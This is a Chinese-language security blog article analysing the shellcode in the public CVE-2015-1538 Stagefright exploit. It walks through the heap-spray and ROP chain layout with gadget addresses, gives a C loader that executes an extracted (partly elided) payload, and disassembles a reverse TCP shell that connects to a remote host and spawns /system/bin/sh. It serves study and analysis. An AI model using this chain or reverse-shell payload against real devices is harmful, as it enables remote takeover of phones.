CVE-2015-1538漏洞利用中的Shellcode分析
Author:[email protected]
0x00 序
2015年7月以色列移動資訊保安公司Zimperium在Android Stagefright框架中發現了多個整數溢位和下溢,不正確整數溢位檢查等漏洞,可導致任意程式碼執行等問題。攻擊者透過傳送包含特製媒體檔案的MMS或WEB頁來觸發該漏洞。由於stagefright不只是用來播放媒體檔案的,還能自動產生縮圖,或者從影片或音訊檔案中抽取後設資料,如長度、高度、寬度、幀頻、頻道和其他類似資訊。因此接收到惡意彩信的使用者只要檢視縮圖就可觸發該漏洞。
“Stagefright”媒體播放引擎庫在Android 2.2中引入,至5.1的所有版本上均存在此漏洞。使用Stagefright庫的應用程式以Media許可權執行,成功利用漏洞,允許攻擊者以媒體庫上下文檢視相應的檔案,但透過許可權提升攻擊,可完全控制裝置。該Stagefright漏洞所對應的CVE ID如下:
CVE-2015-1538
CVE-2015-1539
CVE-2015-3824
CVE-2015-3826
CVE-2015-3827
CVE-2015-3828
CVE-2015-3829
zimperium研究人員Joshua Drake在8月的BlackHat會議上講解並演示了該漏洞。9月份在官方部落格(blog.zimperium.com)公開了其中一個漏洞:CVE-2015-1538的利用程式碼[1]。
雖然CVE-2015-1538的利用是在Android 4.0.x上實現的,相對於高版本Android,少了很多緩解技術需要bypass,但是其exploit中所用的媒體檔案堆噴、pivot stack、反向連線shell等一些技巧可為以後借鑑,所以將其記錄下,也是留個備忘。
0x01 Shellcode程式碼分析
1.1 ROP
分析Exploit[2]可知,該漏洞利用“tx3g”tag進行記憶體堆噴射(2M)來達到執行shellcode。其單個spray buffer的構造如下:
Offset | value |
---|---|
0x0 | sp_addr + 16{} |
0x4 | sp_addr + 8 |
0x8 | 1 |
0xC | 0xcodedbad |
0x10 | sp_addr + 24 |
0x14 | 16 |
0x18 | sp_addr + 32 |
0x1C | 0xf00dbabe |
0x20 | 0xcode0000 + 0x0 |
0x24 | 0xcode0000 + 0x4 |
0x28 | 0xcode0000 + 0x8 |
0x2C | new_pc{} |
0x30 | 0xf0f00000+x1 |
… | … |
0x4C, ROP+0x0 | sp_addr + 0x40 |
ROP+0x4 | 0xb0002a98{} |
ROP+0x8 | 0xb00038b2 + 1{} |
ROP+0xC | sp_addr & 0xFFFFF000 |
ROP+0x10 | 0x1000 |
ROP+0x14 | 7 |
ROP+0x18 | 0xd000d003 |
ROP+0x1C | 0xd000d004 |
ROP+0x20 | 0xb001144{} |
ROP+0x24 | sp_addr + 0x80 |
ROP+0x28 | 0xf0f00000 + x1 |
… | … … |
ROP+0x4C | payload/shell_reverse_tcp |
… | … |
0x1000 | 0xf0f00000 + xn |
從exploit看,mediaserver crash時程式碼走到了android::RefBase::decStrong(android::RefBase *__hidden this, const void *)
,彙編程式碼如下:
.text:0000EE34 70 B5 PUSH {R4-R6,LR}
.text:0000EE36 05 46 MOV R5, R0
.text:0000EE38 44 68 LDR R4, [R0,#4]
.text:0000EE3A 0E 46 MOV R6, R1
.text:0000EE3C 20 46 MOV R0, R4
.text:0000EE3E FD F7 54 EB BLX android_atomic_dec
.text:0000EE42 01 28 CMP R0, #1
.text:0000EE44 0B D1 BNE loc_EE5E
.text:0000EE46 A0 68 LDR R0, [R4,#8]
.text:0000EE48 01 68 LDR R1, [R0]
.text:0000EE4A CA 68 LDR R2, [R1,#0xC]
.text:0000EE4C 31 46 MOV R1, R6
.text:0000EE4E 90 47 BLX R2
按這段程式碼的執行流程如下:
1)r0 = spray_address = sa
LDR R4, [R0,#4]
執行後,r4 = [sa+4] = sa+8
.text:0000EE46 LDR R0, [R4,#8]
執行後,r0 = [r4+8]=[sa+8+8]=[sa+0x10]=sa+24=sa+0x18
.text:0000EE48LDR R1, [R0]
執行後,r1=[r0+0]=[sa+0x18]=sz+32=sa+0x20
.text:0000EE4A LDR R2, [R1,#0xC]
執行後,r2=[r1+0xC]=[sa+0x20+0xC]=[sa+0x2C]=new_pc
。執行blx r2
跳到new_pc
處。
2)new_pc
exploit中預設定義的new_pc為0xb0002850(__dl_restore_core_regs)
,位於libc.so中。看Android 4.1.2的libc.so中的restore_core_regs
函式:
.text:00010BA8 EXPORT restore_core_regs
.text:00010BA8 ADD R1, R0, #0x34 ; Alternative name is '__restore_core_regs'
.text:00010BAC LDMIA R1, {R3-R5}
.text:00010BB0 STMFD SP!, {R3-R5}
.text:00010BB4 LDMIA R0, {R0-R11}
.text:00010BB8 LDMFD SP, {SP-PC}
這段程式碼主要是用於pivot stack:
ADD R1, R0, #0x34
此時r0=sa+0x18,r1=sa+0x18+0x34=sa+0x4C
.text:00010BAC LDMIA R1, {R3-R5}
將r1指向地址sa+0x4C的內容依次寫到r3,r4,r5中,即r3=sa+0x40=ROP+0x0
,r4=0xb0002a98
,r5=0xb00038b2+1
.text:00010BB0 STMFD SP!, {R3-R5}
將r3,r4,r5入棧。
.text:00010BB8 LDMFD SP, {SP-PC}
出棧操作;執行完後sp=ROP+0xC
;lr=0xb0002a98
;pc=0xb00038b2+1
3)執行pc
此時pc為0xb00038b2+1,基所指向的指令為:
pop {r0, r1, r2, r3, r4, pc}
將sp指向的棧彈出並存入到r0-r4及pc暫存器中,該條指令執行完後,r0=sp_addr & 0xFFFFF000,r1=0x1000,r2=7,pc=0xb001144。
該條指令可以libstagefright.so中找到。如在4.1.2下:thumb,libstagefright.so + 0x0009086C。
4)再執行pc
此時pc為0xb001144,該地址是mprotect函式的地址,位於libc.so中,程式碼如下:
.text:0000CACC EXPORT mprotect
.text:0000CACC STMFD SP!, {R4,R7}
.text:0000CAD0 MOV R7, #0x7D
.text:0000CAD4 SVC 0 ;超級使用者呼叫
.text:0000CAD8 LDMFD SP!, {R4,R7}
.text:0000CADC MOVS R0, R0
.text:0000CAE0 BXPL LR
.text:0000CAE4 B sub_39D44
將sp_addr地址,長度為0x1000的記憶體改為可執行許可權。
.text:0000CAE0 BXPL LR
如果執行成功則呼叫lr,即0xb0002a98。
5)執行lr
此時lr為0xb0002a98,其指向的指令如下:
pop {pc}
當前sp=ROP+0x24
,執行完成後`pc=sa+0x80,即shell_reverse_tcp程式碼的地址。
該條指令可以libstagefright.so中找到。如在4.1.2下:thumb,libstagefright.so + 0x0005ad14。
1.2 shell_reverse_tcp
exploit程式碼看shell_reverse_tcp是反向連線到目標ip:port的一段payload,這段程式碼是從metasploit的shell_reverse_tcp
[3]修改而來的。為了搞清楚這段程式碼的功能,我們寫了一段loader來載入這段程式碼,然後反彙編進行分析,如下:
unsignedchar payload[] =
"\x02\x70\xa0\xe3"
……
"65\x6d\x2f\x62\x69\x6e\x3a\x2f\x73\x79\x73\x74\x65\x6d\x2f\x78\x62\x69\x6e\x00";
int loader()
{
printf("hello payload: 0x%x\n", payload);
asm__volatile__ (
"ldr r0, =payload \t\n"
"blx r0 \t\n");
return0;
}
int main(intargc, char* constargv[])
{
loader();
return0;
}
中payload[]
陣列中的資料是從exploit的shell_reverse_tcp
中提取的。這種載入方式在Android 4.1.x可以執行,高版本Android增加了安全緩解技術,會報錯,但不影響分析程式碼。用IDA Pro載入編譯程式,可以看到shell_reverse_tcp的反彙編程式碼如下:
.data:00002000 02 70 A0 E3 MOV R7, #2
.data:00002004 00 0000 EF SVC 0 ; __fork
.data:00002008 00 00 50 E3 CMP R0, #0
.data:0000200C 02 00 00 0A BEQ loc_201C
.data:00002010 00 00 A0 E3 MOV R0, #0
.data:00002014 01 70 A0 E3 MOV R7, #1
.data:00002018 00 0000 EF SVC 0 ; _exit_thread
.data:0000201Cloc_201C ; CODE XREF: .data:0000200Cj
.data:0000201C 42 70 A0 E3 MOV R7, #0x42
.data:00002020 00 0000 EF SVC 0 ; setsid
.data:00002024 02 00 A0 E3 MOV R0, #2
.data:00002028 01 10 A0 E3 MOV R1, #1
.data:0000202C 05 20 81 E2 ADD R2, R1, #5
.data:00002030 8C 70 A0 E3 8D 70 87 E2 MOV R7, #0x119
.data:00002038 00 0000 EF SVC 0 ; socket
.data:0000203C 00 60 A0 E1 MOV R6, R0
.data:00002040 6C 10 8F E2 ADR R1, loc_20B4 ; structsockaddr_in
.data:00002044 10 20 A0 E3 MOV R2, #0x10
.data:00002048 8D 70 A0 E3 8E 70 87 E2 MOV R7, #0x11B
.data:00002050 00 0000 EF SVC 0 ; connect
.data:00002054 06 00 A0 E1 MOV R0, R6
.data:00002058 00 10 A0 E3 MOV R1, #0
.data:0000205C 3F 70 A0 E3 MOV R7, #0x3F
.data:00002060 00 0000 EF SVC 0 ; dup2
.data:00002064 06 00 A0 E1 MOV R0, R6
.data:00002068 01 10 A0 E3 MOV R1, #1
.data:0000206C 3F 70 A0 E3 MOV R7, #0x3F
.data:00002070 00 0000 EF SVC 0 ; dup2
.data:00002074 06 00 A0 E1 MOV R0, R6
.data:00002078 02 10 A0 E3 MOV R1, #2
.data:0000207C 3F 70 A0 E3 MOV R7, #0x3F
.data:00002080 00 0000 EF SVC 0 ; dup2
.data:00002084 30 00 8F E2 ADR R0, aSystemBinSh ; "/system/bin/sh"
.data:00002088 04 40 24 E0 EOR R4, R4, R4
.data:0000208C 10 00 2D E9 STMFD SP!, {R4}
.data:00002090 38 30 8F E2 ADR R3, aPathSbinVendor ; "PATH=/sbin:/vendor/bin:/system/sbin:/sy"...
.data:00002094 08 00 2D E9 STMFD SP!, {R3}
.data:00002098 0D 20 A0 E1 MOV R2, SP
.data:0000209C 10 00 2D E9 STMFD SP!, {R4}
.data:000020A0 24 40 8F E2 ADR R4, aSh ; "sh"
.data:000020A4 10 00 2D E9 STMFD SP!, {R4}
.data:000020A8 0D 10 A0 E1 MOV R1, SP
.data:000020AC 0B 70 A0 E3 MOV R7, #0xB
.data:000020B0 00 0000 EF SVC 0 ; execve
.data:000020B4 loc_20B4 ; DATA XREF: .data:00002040o
.data:000020B4 02 00 30 39 ;structsockaddr_in: <family+port+host>, port: 0x3039(12345)
.data:000020B8xx xxxxxx; ip address
.data:000020BC 2F 73 79 73 74 65 6D 2F+aSystemBinSh DCB "/system/bin/sh",0 ; DATA XREF: .data:00002084o
.data:000020BC 62 69 6E 2F 73 68 00 ; .data:loc_20B4o
.data:000020CB 00 DCB 0
.data:000020CC 73 68 00 aSh DCB "sh",0 ; DATA XREF: .data:000020A0o
.data:000020CF 00 DCB 0
.data:000020D0 50 41 54 48 3D 2F 73 62+aPathSbinVendor DCB "PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin",0
.data:000020D0 69 6E 3A 2F 76 65 6E 64+ ; DATA XREF: .data:00002090o
.data:0000210D 00 DCB 0
payload透過svc指令呼叫相應的linux函式,相應的函式已備註在彙編程式碼中,這段程式碼功能是透過tcp連線遠端伺服器的特定埠,虛擬碼如下:
r = fork();
if r<>0
exit_thread();
setsid();
s = socket(2,1,6);
connect(s, socaddr, 0x10);
dup2(s,0);[email protected]
dup2(s,1);[email protected]
dup2(s,2);[email protected]
execve("/system/bin/sh", "sh", "PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin");
loader編譯後直接執行會失敗,這是因為payload儲存在“.data”節中,其屬性是“Read”的,需要為該節增加“Execute”屬性才會執行成功。這裡使用010 Editor的ELFTemplate為“.data”節增加“Execute”屬性:
然後push到裝置中,即可執行成功:
0x02 參考
- https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/
- https://github.com/jduck/cve-2015-1538-1
- https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb
相關文章
- 【vin KE】 flash漏洞所用shellcode的分析2008-06-04
- 某EXCEL漏洞樣本shellcode分析2020-08-19Excel
- BlueKeep 漏洞利用分析2019-09-20
- [原創]解讀天書----漏洞利用中級技巧的分析2014-02-19
- CRLF Injection漏洞的利用與例項分析2020-08-19
- Cobaltstrike —— shellcode分析(一)2023-02-26
- 永恆之藍漏洞利用機制分析2020-08-03
- IORegistryIterator競爭條件漏洞分析與利用2020-08-19
- cve-2014-0569 漏洞利用分析2020-08-19
- redis漏洞利用2017-06-21Redis
- ruoyi漏洞利用2024-07-02
- 批次勒索挖礦常用漏洞利用工具Jexboss的簡單分析2018-08-22
- 一次老版本jboss反序列化漏洞的利用分析2022-09-28
- (CVE-2019-5786) 漏洞原理分析及利用2020-07-01
- CTF中做Linux下漏洞利用的一些心得2016-06-04Linux
- [原創]眾裡尋他千百度----檔案類漏洞ShellCode的查詢2010-09-25
- Shellcode2024-06-16
- CVE-2014-4113漏洞利用過程分析2020-08-19
- struts2最近幾個漏洞分析&穩定利用payload2020-08-19
- CVE-2013-4547 Nginx解析漏洞深入利用及分析2020-08-19Nginx
- Hadoop Yarn REST API未授權漏洞利用挖礦分析2018-06-12HadoopYarnRESTAPI
- Google Chrome 開發者工具漏洞利用2020-08-19GoChrome
- ROP漏洞詳解和利用2022-05-10
- 微軟:ProxyShell 漏洞“可能被利用”2021-09-03微軟
- 漏洞利用查詢工具sandi2017-11-14
- 漏洞利用之資訊洩露2024-04-29
- STRUTS2的getClassLoader漏洞利用2020-08-19
- 基於 GDI 物件的 Windows 核心漏洞利用2018-05-09物件Windows
- Linux下堆漏洞的利用機制2016-05-15Linux
- ChatGPT-Next-Web漏洞利用分析(CVE-2023-49785)2024-05-07ChatGPTWeb
- shellcode編寫2022-05-24
- MikroTik RouterOS 中發現了可遠端利用的緩衝區溢位漏洞2018-03-21ROS
- Metasploit之漏洞利用( Metasploitable2)2020-09-27
- 利用DNS Zone Transfers漏洞工具dnswalk2017-01-03DNS
- WordPress網站漏洞利用及漏洞修復解決方案2019-02-24網站
- RCE(遠端程式碼執行漏洞)原理及漏洞利用2022-03-17
- 【漏洞分析】KaoyaSwap 安全事件分析2022-08-28事件
- IE安全系列:指令碼先鋒(III)--網馬中的Shellcode2020-08-19指令碼